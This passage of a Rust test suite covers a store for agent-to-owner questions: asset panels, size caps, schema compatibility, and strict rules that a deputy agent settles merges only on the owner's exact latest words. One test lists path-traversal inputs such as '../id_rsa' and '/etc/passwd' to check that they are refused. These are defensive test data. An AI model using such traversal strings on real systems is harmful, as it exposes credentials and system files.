2867
2868 std::fs::remove_dir_all(&work).unwrap();
2871 assert_eq!(
2872 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2873 Some(&b"\x89PNG"[..]),
2874 "a referenced asset would be gone with the worktree"
2875 );
2876 }
2877
2878 #[test]
2879 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2880 let (dir, s) = store();
2881 let mut q = panelled();
2882 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2883 s.put(&mut q).unwrap();
2884
2885 let secret = "this must never reach the browser";
2888 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2889 assert_eq!(
2890 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2891 secret,
2892 "the traversal is real: the operating system resolves this path \
2893 happily, which is why the name has to be refused before the join"
2894 );
2895
2896 let long = "x".repeat(200);
2897 for name in [
2898 "..",
2899 "../id_rsa",
2900 "..\\id_rsa",
2901 "sub/../id_rsa",
2902 "/",
2903 "\\",
2904 "/etc/passwd",
2905 "C:\\Windows\\win.ini",
2906 "",
2907 ".hidden",
2908 ".",
2909 long.as_str(),
2910 ] {
2911 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2912 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2913 assert!(
2914 e.contains("not a panel file name"),
2915 "`{name}` must be refused as a name, not attempted: {e}"
2916 );
2917 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2918 }
2919 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2922
2923 let hidden = dir.path().join(".hidden");
2926 std::fs::write(&hidden, "x").unwrap();
2927 let e = s
2928 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2929 .unwrap_err()
2930 .to_string();
2931 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2932 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2933 assert!(q.assets.is_empty());
2934 }
2935
2936 #[test]
2937 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2938 let (dir, s) = store();
2939 let mut q = panelled();
2940 s.put(&mut q).unwrap();
2941
2942 let big = dir.path().join("recording.png");
2945 std::fs::File::create(&big)
2946 .unwrap()
2947 .set_len(PANEL_MAX_BYTES)
2948 .unwrap();
2949
2950 let html = "<p>see the recording</p>";
2951 let total = PANEL_MAX_BYTES + html.len() as u64;
2952 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2953 assert!(
2954 e.contains(&PANEL_MAX_BYTES.to_string()),
2955 "the cap is named so the agent knows the limit: {e}"
2956 );
2957 assert!(
2958 e.contains(&total.to_string()),
2959 "the actual size is named so the agent knows by how much: {e}"
2960 );
2961
2962 assert!(!q.panel);
2963 assert!(q.assets.is_empty());
2964 let left: Vec<String> = std::fs::read_dir(s.root())
2965 .unwrap()
2966 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2967 .collect();
2968 assert_eq!(
2969 left,
2970 [format!("{}.json", q.id)],
2971 "a refused panel leaves neither a directory nor scratch: {left:?}"
2972 );
2973 }
2974
2975 #[test]
2976 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2977 let (dir, s) = store();
2978 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2979 std::fs::create_dir_all(&before).unwrap();
2980 std::fs::create_dir_all(&after).unwrap();
2981 std::fs::write(before.join("diff.png"), "before").unwrap();
2982 std::fs::write(after.join("diff.png"), "after").unwrap();
2983
2984 let mut q = panelled();
2985 let e = s
2986 .put_panel(
2987 &mut q,
2988 "<p>x</p>",
2989 &[before.join("diff.png"), after.join("diff.png")],
2990 )
2991 .unwrap_err()
2992 .to_string();
2993 assert!(e.contains("diff.png"), "{e}");
2994 assert!(
2995 e.contains("before") && e.contains("after"),
2996 "both sources are named, because the fix is to rename one: {e}"
2997 );
2998 assert!(!q.panel);
2999 assert!(!s.panel_dir(&q.id).exists());
3000 }
3001
3002 #[test]
3003 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3004 let (dir, s) = store();
3005 std::fs::write(dir.path().join("old.png"), "old").unwrap();
3006 std::fs::write(dir.path().join("new.png"), "new").unwrap();
3007
3008 let mut q = panelled();
3009 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3010 .unwrap();
3011 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3012 .unwrap();
3013
3014 assert_eq!(q.assets, ["new.png"]);
3015 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3016 assert!(
3017 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3018 "an asset from the first attempt would show a mix of two answers"
3019 );
3020
3021 s.drop_panel(&q.id).unwrap();
3022 assert!(s.panel_html(&q.id).is_none());
3023 assert!(!s.panel_dir(&q.id).exists());
3024 s.drop_panel(&q.id)
3025 .expect("dropping a panel that is already gone is the desired state");
3026 }
3027
3028 #[test]
3029 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3030 let (_dir, s) = store();
3031 let mut q = panelled();
3032 s.put(&mut q).unwrap();
3033
3034 assert!(!q.panel);
3035 assert!(s.panel_html(&q.id).is_none());
3036 assert!(
3037 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3038 "a missing file is a 404 for the caller, not a failure of the store"
3039 );
3040 let json = serde_json::to_value(&q).unwrap();
3041 assert_eq!(json["panel"], false);
3042 assert_eq!(json["assets"], serde_json::json!([]));
3043
3044 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
3047 assert!(e.contains("empty panel"), "{e}");
3048 assert!(!s.panel_dir(&q.id).exists());
3049 }
3050
3051 #[test]
3052 fn a_question_written_before_panels_existed_still_deserialises() {
3053 let (_dir, s) = store();
3054 std::fs::create_dir_all(s.root()).unwrap();
3055 let id = "20260902-231501-ab12";
3056 let body = r#"{
3058 "schema": 1,
3059 "id": "20260902-231501-ab12",
3060 "run": "20260902-201256-9fb7",
3061 "node": "implement",
3062 "seat": "impl-A",
3063 "summary": "Which storage backend should the cache use?",
3064 "detail": "Both are already dependencies.",
3065 "choices": ["SQLite", "Redis"],
3066 "status": "open",
3067 "asked_at": "2026-09-02T23:15:01Z",
3068 "answered_at": null,
3069 "answer": null
3070}"#;
3071 std::fs::write(s.path_of(id), body).unwrap();
3072
3073 let q = s.get(id).unwrap();
3074 assert!(
3075 !q.panel,
3076 "an absent field means no panel, not a parse error"
3077 );
3078 assert!(q.assets.is_empty());
3079 assert_eq!(q.schema, 1);
3084 assert!(q.thread.is_empty());
3085 assert_eq!(
3086 q.answer_timeout, 0,
3087 "an absent field means unrecorded, not a zero-second deadline"
3088 );
3089 assert!(!q.waiting_on_agent());
3090 assert_eq!(q.summary, "Which storage backend should the cache use?");
3091 assert_eq!(
3092 s.list().len(),
3093 1,
3094 "and it is still listed; skipping it would hide an open question"
3095 );
3096 }
3097
3098 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3099 Turn {
3100 who,
3101 body: body.to_owned(),
3102 at,
3103 note: None,
3104 }
3105 }
3106
3107 #[test]
3108 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3109 let mut q = choice_question();
3112 q.thread
3113 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3114 let value = serde_json::to_value(&q.thread[0]).unwrap();
3115 let mut keys: Vec<&str> = value
3116 .as_object()
3117 .unwrap()
3118 .keys()
3119 .map(String::as_str)
3120 .collect();
3121 keys.sort_unstable();
3122 assert_eq!(keys, ["at", "body", "who"]);
3123 assert_eq!(value["who"], "operator");
3124 assert_eq!(value["body"], "why not Postgres?");
3125
3126 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3127 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3128 assert_eq!(parsed.who, Who::Agent);
3129 }
3130
3131 fn approval_question() -> Question {
3132 let mut q = Question::new(
3133 "run".into(),
3134 crate::land::APPROVAL_NODE.into(),
3135 "land".into(),
3136 "Merge?".into(),
3137 String::new(),
3138 vec!["merge".into(), "hold".into()],
3139 );
3140 let mut dep = Deputy::new("brief".into());
3141 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3142 q.deputy = Some(dep);
3143 q
3144 }
3145
3146 #[test]
3147 fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3148 for choice in [
3149 crate::merge_decision::WITHDRAW,
3150 "reimplement:primary",
3151 "retry",
3152 "discard",
3153 ] {
3154 let mut q = approval_question();
3155 q.choices.push(choice.into());
3156 if matches!(choice, "retry" | "discard") {
3157 q.node = "recovery".into();
3158 }
3159 if choice == "discard" {
3160 q.actions.insert(choice.into(), ChoiceAction::Done);
3161 }
3162 let words = "おっけーそれぞれ回答してー";
3163 q.say(words).unwrap();
3164 let error = q
3165 .settle_by_deputy("deputy-x", choice, words, None)
3166 .unwrap_err()
3167 .to_string();
3168 assert!(
3169 error.contains(if choice == "retry" {
3170 "manifest"
3171 } else {
3172 "individual owner confirmation"
3173 }),
3174 "{choice}: {error}"
3175 );
3176 assert!(q.status.open());
3177 }
3178 }
3179
3180 #[test]
3181 fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3182 for choice in [
3183 crate::land::HOLD,
3184 crate::land::REPAIR,
3185 crate::merge_decision::WITHDRAW,
3186 "reimplement:beta",
3187 ] {
3188 let mut q = approval_question();
3189 q.node = crate::land::APPROVAL_NODE.into();
3190 q.choices = vec!["merge".into(), choice.into()];
3191 q.merge_target = Some(crate::merge_decision::Target {
3192 pr: "PR 42".into(),
3193 head: "abc".into(),
3194 language: "en".into(),
3195 });
3196 q.say(format!("Should we choose {choice}?")).unwrap();
3197 assert!(
3198 q.settle_by_deputy("deputy-x", choice, choice, None)
3199 .is_err()
3200 );
3201 q.say(choice).unwrap();
3202 q.settle_by_deputy("deputy-x", choice, choice, None)
3203 .unwrap();
3204 assert_eq!(q.resolution().as_deref(), Some(choice));
3205 }
3206 let mut q = approval_question();
3207 q.node = crate::land::APPROVAL_NODE.into();
3208 q.choices = vec!["merge".into(), "hold".into()];
3209 q.merge_target = Some(crate::merge_decision::Target {
3210 pr: "PR 42".into(),
3211 head: "new-head".into(),
3212 language: "en".into(),
3213 });
3214 q.say("merge old-head").unwrap();
3215 assert!(
3216 q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3217 .is_err()
3218 );
3219 q.say("merge new-head").unwrap();
3220 q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3221 .unwrap();
3222 }
3223
3224 #[test]
3225 fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3226 let mut q = approval_question();
3227 q.choices.push(crate::land::REPAIR.into());
3228 q.say("maybe fix findings and re-review").unwrap();
3229 assert!(
3230 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3231 .is_err()
3232 );
3233 q.say(crate::land::REPAIR).unwrap();
3234 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3235 .unwrap();
3236 assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3237 assert_eq!(
3238 crate::land::approval(q.resolution().as_deref()),
3239 crate::land::Approval::Repair
3240 );
3241 }
3242
3243 #[test]
3244 fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3245 let mut q = approval_question();
3246 q.say("merge").unwrap();
3247 q.reply("sure?", vec!["merge".into(), "hold".into()])
3248 .unwrap();
3249 q.say(" Merge it please ").unwrap();
3250 assert!(
3251 q.settle_by_deputy("deputy-x", "merge", " ", None)
3252 .is_err(),
3253 "an empty quote is refused"
3254 );
3255 assert!(
3256 q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3257 .is_err(),
3258 "a quote the owner never said is refused"
3259 );
3260 assert_eq!(q.status, QuestionStatus::Open);
3261 q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3262 .unwrap();
3263 assert_eq!(q.resolution().as_deref(), Some("merge"));
3264 }
3265
3266 #[test]
3267 fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3268 use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3269 let mk = || {
3270 let mut q = Question::new(
3271 "run".into(),
3272 crate::github_text::ASK_NODE.into(),
3273 crate::github_text::ASK_SEAT.into(),
3274 "s".into(),
3275 String::new(),
3276 vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3277 );
3278 let mut dep = Deputy::new("brief".into());
3279 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3280 q.deputy = Some(dep);
3281 q
3282 };
3283 let mut hedged = mk();
3284 hedged.say("Post the original, maybe?").unwrap();
3285 assert!(
3286 hedged
3287 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3288 .is_err()
3289 );
3290 let mut clear = mk();
3291 clear.say("Post the original text as it is.").unwrap();
3292 clear
3293 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3294 .unwrap();
3295 assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3296 let mut japanese = mk();
3297 let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3298 japanese.say(words).unwrap();
3299 japanese
3300 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3301 .unwrap();
3302 let mut unrelated = mk();
3303 unrelated.say("Proceed with the task").unwrap();
3304 assert!(
3305 unrelated
3306 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3307 .is_err()
3308 );
3309 for words in [
3310 "OK, post the original",
3311 "Yes, post original",
3312 "I'd like to post the original",
3313 ] {
3314 let mut natural = mk();
3315 natural.say(words).unwrap();
3316 natural
3317 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3318 .unwrap();
3319 }
3320 for (message, quote) in [
3321 (
3322 "ログには「元の説明で投稿しました」と記録されています。",
3323 "ログには「元の説明で投稿しました」と記録されています。",
3324 ),
3325 (
3326 "ログには「元の説明で投稿してください」と記録されています。",
3327 "元の説明で投稿してください",
3328 ),
3329 ] {
3330 let mut descriptive = mk();
3331 descriptive.say(message).unwrap();
3332 assert!(
3333 descriptive
3334 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3335 .is_err()
3336 );
3337 assert!(descriptive.status.open());
3338 assert!(descriptive.answer.is_none());
3339 }
3340 let mut descriptive = mk();
3341 let message = "Post original was the option I saw.";
3342 descriptive.say(message).unwrap();
3343 for quote in [message, "Post original"] {
3344 assert!(
3345 descriptive
3346 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3347 .is_err()
3348 );
3349 assert!(descriptive.status.open());
3350 assert!(descriptive.answer.is_none());
3351 }
3352 let mut safe = mk();
3354 safe.say("use the fallback").unwrap();
3355 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3356 .unwrap();
3357 }
3358
3359 #[test]
3360 fn posting_deputy_rejects_multiline_quoted_context() {
3361 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3362 for (command, choice) in [
3363 ("Post original", POST_ORIGINAL),
3364 ("Use rewrite", USE_REWRITE),
3365 ] {
3366 for message in [
3367 format!("The log contains:\n```\n{command}\n```"),
3368 format!("The log contains:\n\"\n{command}\n\""),
3369 format!("The log says: “Reported. {command}.”"),
3370 format!("The log says: “\n{command}\n”"),
3371 ]
3372 .into_iter()
3373 .chain(crate::github_text::reported_posting_messages(command))
3374 {
3375 let mut q = Question::new(
3376 "run".into(),
3377 ASK_NODE.into(),
3378 ASK_SEAT.into(),
3379 "s".into(),
3380 String::new(),
3381 vec![USE_FALLBACK.into(), choice.into()],
3382 );
3383 let mut dep = Deputy::new("brief".into());
3384 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3385 q.deputy = Some(dep);
3386 q.say(&message).unwrap();
3387 let tmp = tempfile::tempdir().unwrap();
3388 let questions = Questions::at(tmp.path().join("questions"));
3389 questions.put(&mut q).unwrap();
3390 for quote in [command, message.as_str()] {
3391 assert!(
3392 questions
3393 .update(&q.id, |stored| {
3394 stored.settle_by_deputy("deputy-x", choice, quote, None)
3395 })
3396 .is_err()
3397 );
3398 let after = questions.get(&q.id).unwrap();
3399 assert!(after.status.open());
3400 assert!(after.answer.is_none());
3401 }
3402 }
3403 }
3404 }
3405
3406 #[test]
3407 fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3408 use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3409 let mk = || {
3410 let mut q = Question::new(
3411 "run".into(),
3412 crate::github_text::ASK_NODE.into(),
3413 crate::github_text::ASK_SEAT.into(),
3414 "s".into(),
3415 String::new(),
3416 vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3417 );
3418 let mut dep = Deputy::new("brief".into());
3419 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3420 q.deputy = Some(dep);
3421 q
3422 };
3423 let mut hedged = mk();
3424 hedged.say("Use the rewrite, maybe?").unwrap();
3425 assert!(
3426 hedged
3427 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3428 .is_err()
3429 );
3430 let mut descriptive = mk();
3431 let message = "Use rewrite was the option I saw.";
3432 descriptive.say(message).unwrap();
3433 for quote in [message, "Use rewrite"] {
3434 assert!(
3435 descriptive
3436 .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3437 .is_err()
3438 );
3439 assert!(descriptive.status.open());
3440 assert!(descriptive.answer.is_none());
3441 }
3442 for words in [
3443 "Use the rewrite text as it is.",
3444 "I'd like to use the rewrite",
3445 "修正版で投稿してください。",
3446 ] {
3447 let mut clear = mk();
3448 clear.say(words).unwrap();
3449 clear
3450 .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3451 .unwrap();
3452 assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3453 }
3454 let mut safe = mk();
3456 safe.say("use the fallback").unwrap();
3457 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3458 .unwrap();
3459 }
3460
3461 #[test]
3462 fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3463 let mk = |choices: Vec<String>| {
3464 let mut q = Question::new(
3465 String::new(),
3466 crate::bump::NOTICE_NODE.into(),
3467 "release-watch".into(),
3468 "Release?".into(),
3469 String::new(),
3470 choices,
3471 );
3472 let mut dep = Deputy::new("brief".into());
3473 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3474 q.deputy = Some(dep);
3475 q
3476 };
3477 let mut approval = mk(vec!["merge".into(), "hold".into()]);
3478 assert!(crate::deputy::merge_gated(&approval));
3479 approval.say("マージしていいよ").unwrap();
3480 assert!(
3481 approval
3482 .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3483 .is_err(),
3484 "a quote the owner never said is refused"
3485 );
3486 approval
3487 .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3488 .unwrap();
3489
3490 let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3491 assert!(!crate::deputy::merge_gated(&esc));
3492 esc.say("もう監視はいらない").unwrap();
3493 esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3494 .unwrap();
3495 assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3496 }
3497
3498 #[test]
3499 fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3500 let mut q = approval_question();
3501 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3502 .unwrap();
3503 assert!(
3504 q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3505 .is_err(),
3506 "the quote must be the owner's"
3507 );
3508 assert!(
3509 q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3510 .is_err(),
3511 "`hold` still needs the whole message"
3512 );
3513 q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3514 .unwrap();
3515 assert_eq!(q.resolution().as_deref(), Some("merge"));
3516 }
3517
3518 fn settle_ready() -> Question {
3519 let mut q = Question::new(
3520 "task".to_owned(),
3521 "conduct".to_owned(),
3522 "conduct".to_owned(),
3523 "Done?".to_owned(),
3524 String::new(),
3525 vec!["yes".to_owned(), "no".to_owned()],
3526 );
3527 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3528 seat.turns = 1;
3529 let mut dep = Deputy::new("brief".to_owned());
3530 dep.seat = Some(seat);
3531 q.deputy = Some(dep);
3532 q.say("setup done, and file a follow-up").unwrap();
3533 q
3534 }
3535
3536 #[test]
3537 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3538 let dir = tempfile::TempDir::new().unwrap();
3539 let store = Questions::at(dir.path().join("questions"));
3540 let mut q = settle_ready();
3541 let id = q.id.clone();
3542 store.put(&mut q).unwrap();
3543 store
3544 .update(&id, |q| {
3545 q.settle_by_deputy(
3546 "deputy-x",
3547 "yes",
3548 "setup done",
3549 Some(" no follow-up was queued "),
3550 )
3551 })
3552 .unwrap();
3553 let back = store.get(&id).unwrap();
3554 let turn = back.thread.last().unwrap();
3555 assert_eq!(turn.who, Who::Agent);
3556 assert!(turn.body.starts_with("Settled as `yes`"));
3557 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3558 assert_eq!(back.thread[0].note, None);
3559 }
3560
3561 #[test]
3562 fn an_empty_or_blank_settle_note_is_no_note() {
3563 for note in [None, Some(""), Some(" \n ")] {
3564 let mut q = settle_ready();
3565 q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3566 .unwrap();
3567 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3568 let json = serde_json::to_string(&q).unwrap();
3569 assert!(!json.contains("\"note\""), "no key when there is none");
3570 }
3571 }
3572
3573 #[test]
3574 fn a_refused_settle_leaves_no_note_behind() {
3575 let mut q = settle_ready();
3576 let before = q.thread.clone();
3577 assert!(
3578 q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3579 .is_err()
3580 );
3581 assert!(
3582 q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3583 .is_err()
3584 );
3585 assert_eq!(q.thread, before);
3586 assert_eq!(q.status, QuestionStatus::Open);
3587 }
3588
3589 #[test]
3590 fn a_turn_written_before_notes_existed_still_reads() {
3591 let t: Turn =
3592 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3593 .unwrap();
3594 assert_eq!(t.note, None);
3595 }
3596
3597 #[test]
3598 fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3599 let mut q = approval_question();
3600 q.say("merge").unwrap();
3601 q.reply("sure?", vec!["merge".into(), "hold".into()])
3602 .unwrap();
3603 q.say("wait, hold off").unwrap();
3604 assert!(
3605 q.settle_by_deputy("deputy-x", "merge", "merge", None)
3606 .is_err()
3607 );
3608 assert_eq!(q.status, QuestionStatus::Open);
3609 }
3610
3611 #[test]
3612 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3613 let mut q = Question::new(
3614 "task".to_owned(),
3615 "conduct".to_owned(),
3616 "conduct".to_owned(),
3617 "Done?".to_owned(),
3618 String::new(),
3619 vec!["yes".to_owned(), "no".to_owned()],
3620 );
3621 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3622 seat.turns = 1;
3623 let mut dep = Deputy::new("brief".to_owned());
3624 dep.seat = Some(seat);
3625 q.deputy = Some(dep);
3626 q.say("setup done, go ahead").unwrap();
3627
3628 assert!(
3629 q.settle_by_deputy("someone-else", "yes", "setup done", None)
3630 .is_err()
3631 );
3632 assert!(
3633 q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3634 .is_err()
3635 );
3636 assert!(
3637 q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3638 .is_err()
3639 );
3640 assert!(q.settle_by_deputy("deputy-x", "yes", " ", None).is_err());
3641 assert_eq!(q.status, QuestionStatus::Open);
3642
3643 q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3644 .unwrap();
3645 assert_eq!(q.status, QuestionStatus::Answered);
3646 assert_eq!(q.resolution().as_deref(), Some("yes"));
3647 let last = q.thread.last().unwrap();
3648 assert_eq!(last.who, Who::Agent);
3649 assert!(
3650 last.body.contains("setup done"),
3651 "the quote stays on the record"
3652 );
3653 }
3654
3655 #[test]
3656 fn a_question_written_before_deputies_still_reads() {
3657 let mut q = Question::new(
3658 "task".to_owned(),
3659 "conduct".to_owned(),
3660 "conduct".to_owned(),
3661 "Done?".to_owned(),
3662 String::new(),
3663 Vec::new(),
3664 );
3665 q.schema = 4;
3666 let mut v = serde_json::to_value(&q).unwrap();
3667 v.as_object_mut().unwrap().remove("deputy");
3668 let back: Question = serde_json::from_value(v).unwrap();
3669 assert!(back.deputy.is_none());
3670 }
3671
3672 #[test]
3673 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3674 let mut q = choice_question();
3675 q.say("does the cache need eviction?").unwrap();
3676 assert_eq!(q.thread.len(), 1);
3677 assert_eq!(q.thread[0].who, Who::Operator);
3678 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3679 assert_eq!(q.status, QuestionStatus::Open);
3682 assert!(q.answer.is_none());
3683 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3684 }
3685
3686 #[test]
3687 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3688 let mut answered = choice_question();
3689 answered
3690 .answer(Answer::Choice("SQLite".to_owned()))
3691 .unwrap();
3692 let a = answered.say("still there?").unwrap_err().to_string();
3693 assert!(a.contains("already answered"), "{a}");
3694 let b = answered
3695 .reply("still there?", vec![])
3696 .unwrap_err()
3697 .to_string();
3698 assert!(b.contains("already answered"), "{b}");
3699
3700 let mut abandoned = choice_question();
3701 abandoned.abandon("timed out");
3702 let c = abandoned.say("hello?").unwrap_err().to_string();
3703 assert!(c.contains("abandoned"), "{c}");
3704
3705 let mut open = choice_question();
3706 let d = open.say(" ").unwrap_err().to_string();
3707 assert!(d.contains("empty"), "{d}");
3708 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3709 assert!(e.contains("empty"), "{e}");
3710 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3711 }
3712
3713 #[test]
3714 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3715 let mut q = choice_question();
3716 q.say("SQLite or Redis, but what about disk space?")
3717 .unwrap();
3718 assert!(q.waiting_on_agent());
3719
3720 q.reply(
3721 "SQLite: it is one file, no server to run.",
3722 vec!["SQLite".to_owned()],
3723 )
3724 .unwrap();
3725
3726 assert_eq!(q.choices, ["SQLite"]);
3727 assert!(
3728 !q.waiting_on_agent(),
3729 "the agent spoke, so the owner is the one being waited on now"
3730 );
3731 assert_eq!(q.thread.len(), 2);
3732 assert_eq!(q.thread[1].who, Who::Agent);
3733
3734 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3736 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3737 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3738 }
3739
3740 #[test]
3741 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3742 let mut fresh = choice_question();
3743 assert!(
3744 fresh.should_notify(Timestamp::now()),
3745 "nobody has been notified yet, so the first ask always pages"
3746 );
3747
3748 fresh.say("why not Postgres?").unwrap();
3749 let just_said = fresh.thread[0].at;
3750 assert!(
3751 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3752 "still on the screen a minute later; no need to page again"
3753 );
3754 assert!(
3755 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3756 "exactly the window: `>` means this side stays quiet"
3757 );
3758 assert!(
3759 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3760 "past the window: they may have walked away"
3761 );
3762 }
3763
3764 #[test]
3765 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3766 let (_dir, s) = store();
3767 let mut q = choice_question();
3768 s.put(&mut q).unwrap();
3769 q.say("why not Postgres?").unwrap();
3770 s.put(&mut q).unwrap();
3771 q.reply("no server to run", vec!["SQLite".to_owned()])
3772 .unwrap();
3773 s.put(&mut q).unwrap();
3774
3775 assert_eq!(
3776 s.count_open(),
3777 1,
3778 "one question that talked twice is still one open question"
3779 );
3780 assert_eq!(s.open_for(&q.run).len(), 1);
3781 }
3782
3783 #[tokio::test]
3784 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3785 let (dir, s) = store();
3786 let mut q = choice_question();
3787 let id = q.id.clone();
3788 let writer = Questions::at(dir.path().join("questions"));
3789 let handle = tokio::spawn(async move {
3790 tokio::time::sleep(Duration::from_millis(30)).await;
3791 let mut fresh = writer.get(&id).expect("the question was filed first");
3792 fresh.say("why not Postgres?").unwrap();
3793 writer.put(&mut fresh).unwrap();
3794 });
3795
3796 let got = wait_for_owner(
3797 &mut q,
3798 &s,
3799 &quiet(),
3800 Duration::from_secs(5),
3801 Duration::from_millis(10),
3802 )
3803 .await
3804 .unwrap();
3805
3806 handle.await.unwrap();
3807 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3808 assert_eq!(
3809 q.status,
3810 QuestionStatus::Open,
3811 "talking back is not a decision; the question stays open"
3812 );
3813 assert!(q.answer.is_none());
3814 }
3815
3816 #[test]
3817 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3818 let mut q = choice_question();
3819 q.say("A").unwrap();
3820 q.delivered_turns = q.thread.len();
3821 q.say("B").unwrap();
3822 q.reply("about A", vec![]).unwrap();
